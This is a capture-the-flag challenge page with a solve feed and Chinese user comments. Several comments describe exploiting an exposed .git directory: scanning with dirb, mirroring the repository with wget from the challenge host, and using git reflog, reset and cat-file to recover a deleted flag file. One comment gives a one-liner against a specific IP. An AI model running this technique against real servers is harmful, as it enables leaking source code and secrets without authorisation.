评分(44)
解题动态
yyy1024 攻破了该题 6小时前
tangstar 攻破了该题 7小时前
xing0011 攻破了该题 9小时前
qzqz 攻破了该题 10小时前
fu11dreamer 攻破了该题 10小时前
feiniaoyizhi 攻破了该题 12小时前
cypher111 攻破了该题 14小时前
a_b 攻破了该题 15小时前
jacklucky 攻破了该题 16小时前
cc131 攻破了该题 19小时前
于昊冉 攻破了该题 19小时前
cantian 攻破了该题 19小时前
zrq 攻破了该题 19小时前
白色狸花猫 攻破了该题 1天前
hadue 攻破了该题 1天前
wdfctf 攻破了该题 1天前
鱼饼 攻破了该题 1天前
muzhou 攻破了该题 1天前
Ed1fIer 攻破了该题 1天前
评论
Z1ek34R 5年前
举报
xixi
小赵同学 5年前
举报
emmmm
Taer 5年前
举报
git is.......差点默认以为这个也是假的flag
chun 5年前
举报
一看Linux系统 先用dirb 扫描,发现存在.git目录 用wget -r http://ip_address/.git 递归下载下来,进入文件夹 git reflog (查看执行的命令日志) git show commit_id (查看某次commit的内容) 成功得到flag
gogogogogoEcho 3年前
举报
sang lang he +1
18340362523 4年前
举报
简单易懂,不粗大佬
成朗 5年前
举报
多谢大佬的解答,爱您!撒浪嘿
2694218551 5年前
举报
下载源码后 git reflog 查看 记录 有可能版本都回退一遍 git reset --hard 版本号 cat flag.txt 我的是在 40c6d51 这个版本中找到的,其他都是假flag
ttw_is_here 5年前
举报
wget -r http://114.67.246.176:PORT/.git&&cd 114.67.246.176* && for i in `git reflog|awk '{print $1}' `;do git cat-file -p `git ls-tree $i|grep flag.txt|awk '{print $3}'` 2>/dev/null;done;
HaNkLe 5年前
举报
1. 先扫描网站目录,发现 .git 频繁出现,于是第一反应是 .git 泄露,于是打开网页 http://ip_address/.git,看到的确存在 git 泄露; 2. wget -r http://ip_address/.git 递归下载 .git 目录文件,得到一个文件夹 3. 执行 git reflog 查看执行的命令日志,发现 commit ID 为 13ce8d0
after 5年前
举报
@HaNkLe 好嘞,谢谢表哥,3Q
HaNkLe 5年前
举报
@after 评论长度有限,就给我截了。接上文:执行 git reset 13ce8d0,回退到该版本的版本库,然后执行 git status 会发现 delete flag.txt,然后执行 git checkout -- flag.txt 将暂存区的 flag.txt 还原到工作区
after 5年前
举报
好多commit ID,用哪一个,然后找到id,flag呢
夜布多555 5年前
举报
谢大佬
junlebao 5年前
举报
多谢大佬提示
fallingskies 5年前
举报
射射兄弟
qscf123456 5年前
举报
git泄露利用工具不止GitHack还有JGitHack。下载后利用git cat-file、git ls-tree命令操作。关注40开头的那串哈希值 可以参考这个文章http://chenjingjiu.cn/index.php/2019/05/10/ichunqiu-web-hello-world/
fallingskies 5年前
举报
flag{nonono}
derder 5年前
举报
flag{not_here}